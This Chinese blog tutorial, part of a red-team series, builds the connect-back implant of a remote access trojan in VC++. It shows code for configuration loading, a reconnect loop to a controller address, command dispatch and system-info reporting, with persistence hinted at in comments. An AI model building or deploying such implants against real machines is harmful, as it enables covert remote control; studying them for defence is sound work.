红队专题-从零开始VC++C/S远程控制软件RAT-MFC-[4]客户端与服务端连接

红队专题

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。

私信联系

服务端编写

新建工程


server函数

java 复制代码
// FackExec_N0vv.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"


void Server();

void Server()
{
    CThreadMain Thread_Main;  // 主线程类  对象
    Thread_Main.GetInfo(); //获取配置信息
    /*if(Auto[1] == '1')
    {
        wcscpy_s(Thread_Main.MyServiceName,(wchar_t*)ServiceName);
    }*/
  // 增加自启动  服务名
    while(true)
    {
        if(Thread_Main.RunFlag == false)
        {
            break;
        }
        SOCKET sock;
        sock = Thread_Main.Run();
        Thread_Main.Command(sock);
    }
}

int _tmain(int argc, _TCHAR* argv[])
{
	Server();
	return 0;
}

创建主线程类

获取配置信息

java 复制代码
 void CThreadMain::GetInfo()
{
    int Port = atoi(czPort);
    this->Time = atoi(czTime);
    this->SetupDir = atoi(czSetupDir);
    this->AutoFlag = atoi(czAuto);
}


用来生成配置文件

运行

java 复制代码
 
SOCKET CThreadMain::Run()
{
    SOCKET sock;
    while(true)
    {
        sock = m_sock.StartSocket(this->Address);  // 连接远程主机  ip
        if(sock == NULL)
        {
            Sleep(this->Time * 1000);  //  等待60s
            printf("Sleep\n");
            continue;
        }
        else
        {
            break;
        }
    }
    return sock; 

}

command 命令

java 复制代码
void CThreadMain::Command(SOCKET Sock)
{
    MSGINFO_S msg;
    m_Socket = Sock;
    while(1)
    {
        if(this->RunFlag == false)  // 程序是否可以运行
        {
            break;
        }
        memset(&msg,0,sizeof(MSGINFO_S));   //  消息结构体 清空
        if(m_sock.MyRecv(Sock,(char*)&msg,sizeof(MSGINFO_S))==0)   // 连接
        {
            break;
        }
        ExecCommand(msg,Sock);  // 执行命令
    }
    return;
}


void CThreadMain::ExecCommand(MSGINFO_S msg,SOCKET l_Socket)
{
    switch(msg.Msg_id)
        {
        case SYSINFO:
            {
                printf("GetSystemInfo\n");
                m_sys.SendSysinfo(l_Socket);
            }
            break;
        default:
            {
                printf("UnKnow Command\n");
                return;
            }
        }
}

头文件里创建引用

java 复制代码
#pragma once

class CThreadMain
{
public:
	CThreadMain(void);
	~CThreadMain(void);
	void GetInfo();


private:
	
	SOCKET Run();
	void Command(SOCKET Sock);
	void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
};

win32 类库/头文件

#include <winsock2.h> stdafx.h中

头文件调用 stdafx.h

#pragma comment(lib,"ws2_32.lib")

#pragma comment(lib,"User32.lib")

#pragma comment(lib,"Advapi32.lib")

startsocket 开始监听 类函数

添加类
StartSocket

链接远程ip地址

java 复制代码
SOCKET CMySocket::StartSocket(char Address[160])
{
    WSADATA data;
    WORD w=MAKEWORD(2,2);
    ::WSAStartup(w,&data);
    SOCKET s;
    s=::socket(AF_INET,SOCK_STREAM,0);
    sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(m_port);
    addr.sin_addr.S_un.S_addr = inet_addr(Address);
    if(::connect(s,(sockaddr*)&addr,sizeof(addr))==SOCKET_ERROR)
    {
        printf("Connect Error\n");
        DWORD e = GetLastError();
        printf("LastError:%d\n",e);
        s = NULL;
    }
    else
    {
        printf("Connect Success!\n");
    }
    return s;
}



SOCKET StartSocket(char Address[160])
mysend/myrecv
java 复制代码
int CMySocket::MySend(SOCKET socket,const char* buf,int bytes)
{
	const char *b = buf;
	while(bytes > 0) 
	{ 
		int r = send(socket,b,bytes,0); 
		if(r < 0) 
		{
            printf("Socket_Error\n");
			return r; 
		} 
		else if(r == 0)
		{
            printf("Socket_Error\n");
			break;
		} 
		bytes -= r; 
		b += r; 
	} 
	return b - (char*)buf; 
}

int CMySocket::MyRecv(SOCKET socket,char* buf,int bytes)
{
    char *b = (char*)buf;
    while(bytes > 0)
    {
        int r = recv(socket,b,bytes,0);
        if(r < 0)
        {
            return 0;
        }
        else if(r == 0)
        {
            break;
        }
        bytes = bytes - r;
        b = b + r;
    }
    return b - (char*)buf;
}
java 复制代码
#pragma once
#include "stdafx.h"

class CMySocket
{
public:
	CMySocket(void);
	~CMySocket(void);
	SOCKET StartSocket(char Address[160]);
	int MySend(SOCKET socket,const char* buf,int bytes);
	int MyRecv(SOCKET socket,char* buf,int bytes);
};

设置



m_sock

java 复制代码
#pragma once

#include "stdafx.h"
#include "MySocket.h"

 

private: 
	void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
	CMySocket m_sock;
	char Address[160];
};
java 复制代码
void CThreadMain::GetInfo()
{
    int Port = 1474;
    //this->Time = 60;
    //this->SetupDir = 0;
    //this->AutoFlag = 1;
	m_sock.m_port = Port;
	strcpy_s(Address,"127.0.0.1");

}

Common 头文件

头文件 新添加项

MSGINFO_S 结构体

java 复制代码
#pragma once
#include <windows.h>
#define SYSINFO  0x01

typedef struct tagMSGINFO //传输消息结构体
{
    int Msg_id;
    BYTE context[1024*5];
}MSGINFO_S;

typedef struct tagSYSTEMINFO
{
    int os;
    bool Cam; //摄像头
    double ver;
}SYSTEMINFO_S;

ThreadMain头文件

java 复制代码
#pragma once

#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"

class CThreadMain
{
public:
	CThreadMain(void);
	~CThreadMain(void);
	void GetInfo();
	bool RunFlag;
	SOCKET Run();
	void Command(SOCKET Sock);

private:
	 
	void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
	CMySocket m_sock;
	char Address[160];
	SOCKET m_Socket;
	
};

runflag 启动

java 复制代码
#include "stdafx.h"
#include "ThreadMain.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"User32.lib")
#pragma comment(lib,"Advapi32.lib")


void Server();


void Server()
{

    CThreadMain Thread_Main;
	Thread_Main.RunFlag = true;
    Thread_Main.GetInfo(); //获取配置信息


相关推荐
一点媛艺41 分钟前
Kotlin函数由易到难
开发语言·python·kotlin
姑苏风1 小时前
《Kotlin实战》-附录
android·开发语言·kotlin
奋斗的小花生2 小时前
c++ 多态性
开发语言·c++
魔道不误砍柴功2 小时前
Java 中如何巧妙应用 Function 让方法复用性更强
java·开发语言·python
闲晨2 小时前
C++ 继承:代码传承的魔法棒,开启奇幻编程之旅
java·c语言·开发语言·c++·经验分享
老猿讲编程2 小时前
一个例子来说明Ada语言的实时性支持
开发语言·ada
UestcXiye3 小时前
《TCP/IP网络编程》学习笔记 | Chapter 3:地址族与数据序列
c++·计算机网络·ip·tcp
Chrikk3 小时前
Go-性能调优实战案例
开发语言·后端·golang
幼儿园老大*3 小时前
Go的环境搭建以及GoLand安装教程
开发语言·经验分享·后端·golang·go
canyuemanyue3 小时前
go语言连续监控事件并回调处理
开发语言·后端·golang